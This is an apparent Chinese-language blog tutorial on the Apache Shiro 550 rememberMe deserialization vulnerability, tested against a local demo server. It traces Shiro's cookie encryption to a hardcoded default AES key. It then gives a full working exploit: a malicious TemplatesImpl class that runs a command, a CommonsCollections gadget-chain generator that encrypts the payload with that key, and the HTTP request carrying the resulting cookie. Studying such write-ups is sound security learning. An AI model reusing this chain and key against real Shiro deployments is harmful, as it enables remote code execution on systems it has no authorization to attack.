Shiro反序列化
本文最后更新于 6 天前,其中的信息可能已经有所发展或是发生改变。

Shiro550

环境配置

jdk 8u65

shiro这里我用的是p神的dome

tomcat服务器

漏洞利用流程

获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作

漏洞分析

在我们登陆后root/secret,如果点击remember,网站则会生成一个cookie记住我们的登陆信息

实际后端是对用户登录信息进行序列化,然后进行AES加密后base64

所以我们就能构造恶意序列化代码,然后以相同的加密方法加密传入,后端会进行相应的反序列化,同时没有严格的过滤,从而执行了我们的恶意代码

分析加密过程

我们去搜索生成cookie的相关类和方法

找到了CookieRememberMeManager

其中rememberSerializedIdentity()方法中对我们传入的序列化字符串serialized进行了base64加密

protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

      if (!WebUtils.isHttp(subject)) {
          if (log.isDebugEnabled()) {
              String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
                      "request and response in order to set the rememberMe cookie. Returning immediately and " +
                      "ignoring rememberMe operation.";
              log.debug(msg);
          }
          return;
      }


      HttpServletRequest request = WebUtils.getHttpRequest(subject);
      HttpServletResponse response = WebUtils.getHttpResponse(subject);

      //base 64 encode it and store as a cookie:
      String base64 = Base64.encodeToString(serialized);

      Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
      Cookie cookie = new SimpleCookie(template);
      cookie.setValue(base64);
      cookie.saveTo(request, response);
  }

我们跟进,看哪里调用了此方法

AbstractRememberMeManager中的 rememberIdentity() 方法中找到了rememberIdentity

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
      byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
      this.rememberSerializedIdentity(subject, bytes);
  }

看看哪里调用了rememberIdentity()

我们跟到onSuccessfulLogin

public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
      //always clear any previous identity:
      forgetIdentity(subject);

      //now save the new identity:
      if (isRememberMe(token)) {
          rememberIdentity(subject, token, info);
      } else {
          if (log.isDebugEnabled()) {
              log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
                      "RememberMe functionality will not be executed for corresponding account.");
          }
      }
  }

此处会经过isRememberMe(token)判断,也就是判断cookie是否存在rememberMe字段

步入到rememberIdentity

public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
      PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
      rememberIdentity(subject, principals);
  }

调用了getIdentityToRemember()作用是获取用户名赋值给principals

我们回去跟进this.rememberIdentity(subject, principals)

 protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
      byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
      rememberSerializedIdentity(subject, bytes);
  }

我们进入 convertPrincipalsToBytes() 方法

可以看到对用户名进行序列化处理,然后调用this.getCipherService()方法是否有返回值,存在的话,就调用 encrypt() 方法进行加密

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
      byte[] bytes = serialize(principals);
      if (getCipherService() != null) {
          bytes = encrypt(bytes);
      }
      return bytes;
  }

一直跟进

一直跟进到encrypt方法

调用了getCipherService()方法返回一种AES加密方式,通过向上查找密钥生成逻辑,找到了setCipherkey()方法

public void setCipherKey(byte[] cipherKey) {
      //Since this method should only be used in symmetric ciphers
      //(where the enc and dec keys are the same), set it on both:
      setEncryptionCipherKey(cipherKey);
      setDecryptionCipherKey(cipherKey);
  }

跟进

 public AbstractRememberMeManager() {
      this.serializer = new DefaultSerializer<PrincipalCollection>();
      this.cipherService = new AesCipherService();
      setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
  }

可以看到传入静态变量为类中定义好的常量

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

找到密钥了,我们重新回到rememberIdentity方法

下一步他调用了rememberSerializedIdentity()方法

protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

      if (!WebUtils.isHttp(subject)) {
          if (log.isDebugEnabled()) {
              String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
                      "request and response in order to set the rememberMe cookie. Returning immediately and " +
                      "ignoring rememberMe operation.";
              log.debug(msg);
          }
          return;
      }
       
HttpServletRequest request = WebUtils.getHttpRequest(subject);
      HttpServletResponse response = WebUtils.getHttpResponse(subject);

      //base 64 encode it and store as a cookie:
      String base64 = Base64.encodeToString(serialized);

      Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
      Cookie cookie = new SimpleCookie(template);
      cookie.setValue(base64);
      cookie.saveTo(request, response);
  }

然后就得到了rememberMe字段

漏洞利用

根据CC3链子构造

构造恶意类

package shiroTest;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilTest extends AbstractTranslet {
  @Override
  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

  }

  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

  }

  public EvilTest() throws IOException {
      super();
      Runtime.getRuntime().exec("calc.exe");
  }
}

完整代码

package shiroTest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class ShiroCC {
  public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value);
  }

  public static void main(String[] args) throws Exception {
      ClassPool pool = ClassPool.getDefault();
      CtClass clazzz = pool.get("shiroTest.EvilTest");
      byte[] code = clazzz.toBytecode();
      TemplatesImpl obj = new TemplatesImpl();
      setFieldValue(obj, "_bytecodes", new byte[][]{code});
      setFieldValue(obj, "_name", "HelloTemplatesImpl");
      setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
      // faketransformer防止构造时触发
      Transformer faketransformer = new InvokerTransformer("getClass", null, null);
      // CC6pro
      Map innerMap = new HashMap();
      Map outerMap = LazyMap.decorate(innerMap, faketransformer);
      // key传入恶意TemplatesImpl对象
      TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
      HashMap expMap = new HashMap();
      expMap.put(tme, "value");
      outerMap.clear();
      //将faketransformer改造,iMethodName换成newTransformer触发链子
      setFieldValue(faketransformer, "iMethodName", "newTransformer");

      // 生成序列化字符串
      ByteArrayOutputStream barr = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(barr);
      oos.writeObject(expMap);
      oos.close();

      // shiro数据生成
      AesCipherService aes = new AesCipherService();
      byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
      ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
      System.out.printf(ciphertext.toString());
  }
}

发包

GET /shirodemo_war/ HTTP/1.1
Host: localhost:8083
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: rememberMe=ziUoQIvFfAGV0FKQzAXHKMBnK+nVu1J2jeM+Z5+roKlJlnyxLk2xJyiaE3g8EIItNVqKT6Noj3XzKbhXLm0zZN+GAb4EB5iVyCZsb6C6HqHEetdvurbRzlKPpUjVXOhGMsJrpoBeXF4Qa9/WOrLjwYiEiakQ6zim1nh0M4Bk1OELgRuLPLI96cylT+Gh86MU9l5SsPF9b8K1UV9vT8xiD9wd+N93BcC1tfA3lrzVyFkAKLLIhEocsXny47j8ivUAqZW2G2P4cI4rk9nX6jg3VHUOi9LJalQnYRWZFqORiKjtMc417taZqYFRoEyW1t1jAp5viLPxlRMdIbnmMOi7yinXw0CSW9IEOFOSOJYJ2k5TBDL3zk4b0VrLKWxj+TB10xdoHnP4tkitqbfftTHs0DqlyGQBfc0faSV9L4347MXoZM9DA1aLrxyo5a0iIwDFo2YLL2giIc9VL98lT7AJvKbZevm/xmRA0oSm7PC0hbt5PjDX15GXIc1a27BI3J30SAO3RGdZMkOzIahmxZR4mZ35XwN7riMxc/G4KivliU/r6Dsx64D3aPSEM+gICEETyKQKPvGy0HKiY4kQ7wsh4ip0P0LeXBXYAhMgxBf/ohuFrNHTW3ZBs7jp/ALd1bsQrpW/FHlz1gFx6haXw2vaqdVMXlK9KBZp7WjS/T9yFAaq97VvMOMivuUs3rRdROZ4wX/VIX9LAwnAudDFTgsmX/R/37scihOiajlfRgAZqHqxFKplzzjvMEhbeZEU0yXhORzJds7Xgj0Uzx681puU8c/6Qd3X8UBpbWbH+/Y7Ar7rkFNNhhGqCUmXrtjcTrB4cOmlcLkIPNcmpLo5vP5Rs1s7f6wkyrNK/ORY2/95Py7F5kva72xbJAYOHvZUcT27V473X6c0w1eCPg1ATjBFiBzLxtxBPv2qUUIXZn+AzTP/Q5+XVyhE74iHNfkTK3eI38WdY82IQGFULontmJ2FIzt909b+U0KXWD1f4sEYDICg9zjoi+C0lhq+QrAVWIOlwdZymsR+pQCFP9TMjsL6PQwwLhAsanU3xH0ddeIS9pvJpSHEAZeHfiqRRpUERkMHElIO8GakUzP2OPwEKyJQXWUVYx+BW6mZUhKrdCIAK6y3DVqD9U+3yKSU7u7MOPYXjsgqeySGlLrwGgMnWEksycHooVJSyU5Q40eH7rOMNG7b2+OLqp/sBFqlmdDKBQnMSiy3zFMt3wrFHX36WfirdugXSteGT4DitvlHkEzVSQ11IiXQm+NRySWQq1/UHFMblubPem62diticqszJeiQTFoAPsVh5xl73F/MHco+w6JaM/v88X903hqXG3gKS+xKqe0/cQvedxhLczbvpd0eIInXME0TTK9Wbg2jqKusxVVRiaFvoqSw5cbd+6l+8afwG9Xyn5ONfpyKHhooSOrY4noejNzhZb/ebj8ErBS9ULGrUZCXt5c8Vy0r7TdhDEkix1h7HE6NzUbNWVDfQR7dE0Ul2/ChdzFx2Ky8ZRpGWqKFJtfjaN/GruVFhhfvTNSAayKM7jxTIT4ER50ijb0la6lcxKpo7Z/nwgEoGDPG7fIpdO9QBxZdrAN8xo8vOHvpyjcj7FwNM113qinux3QdQM2vhfbYc38rR3nae0ZZDiKu35QDa5gfdsckh1Plzzcvxm6sl09Y6g0hOyrC3/l95xnUf4nEh2W9eOUzZGbTzEit9rRrCgaE0BMD47exZOBLvuLjkEu4JP+2Pz8s70XV6lnS1dpdsAp4L97BHnhK3qjmRWipwDgBfXmcYAWXEzSCApc4Ug0789utslBc2i9NI+SzZhMriog4AySoKjoIXrYypxo2cpt4xh23JvDhL/6DnntIK3yBkckb5RLdZj5l7GRjsqIWoVzxQVAvPnArykZSob2wFg2V1isIYkdlUsX17U9SsD6GPM62LGkhQOF4nV/6vEYNzNvRTkr6WFDqoYPJigzbO7XrP9jr33j1K1lFeTjovy30Kq35jSGeG+S0OwJmvm11vXRzEDqvy+ywNvoCbfLmqdj22iiYnfrNIZP2Dv8v+mLi7uo+JZXQgTUi3UVa/HSwJz9cknI8tCnEx+teu3BlBnNcrsP14fZnyq7TMdprgDl2gBCgdMosJetLRKuhHl36Oz81ZuzdVjYbnacX1tsXuwH6y0nUUV8lB6TqrQEZ+SRILGqASHe49O+xXjPbs5pm6fDVYCQFtoq45hK2R+3m6odLVMSIFqoSB4Le1jcvjSUiU/5Cu1G2k5rTq9YAOchvyjY6X6QabJq2hL/MmhMNazm7ZBNNp6WtAkN7Z7tWwms2qNM+EtR5+mPzTBYAPwSF+PdlTL4BA2SHrf90ICAjs/16uLAT+T6XFXUKUUCd5j6AZlAoXrejCfESrNJNcbqy2Xn5foxIoSaAYs86kZtQShNTSNyeCAeKxrGNLsr22N/9kcAmcAhiQVyHlZgJMyKsUqq43mxYJflnRVg6tPA8m7z4wtJNueiZdgzsJYfI9aFFilFxPR+gifpSDDDrdML6ud7cvzz6Mr6hm8q/KuV3AAxR+l0f7lYAtKNO4NrKhHviRazHaEs7EVltWiQTaNuDSckcJYLHpqtO4kOazvoUj9ELyTWDTH/KppE4kmAej72Bl9XCZ/euO/gyRUrdMxU1AQBVbuey8zOo5HdO4GNqLf4uwanHyCS69d1OsiEfEXi79fYM0mKLycof+FZHOVrDANrei6PLmSZgSy3cl8RGkHZq8kSmhNgNGcK7+jkNvsznkiPuLfW1Yn8cbCIOfBcawNpHXz9pk3vdJBgzM70YyGdD1iDSU6HFV/Py7q6maGioG8DsaSmPlvdNVzCt4eFYnzLJjPXC0yGKChfDCVQ2IEN5/bgOANrtIVoPCbG32ZKw7CY0NWXgXwcT7NpRQ0x7jwcjcm+quTbr/4yKs6RhnCoZeNMgsXotji54
Connection: close

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇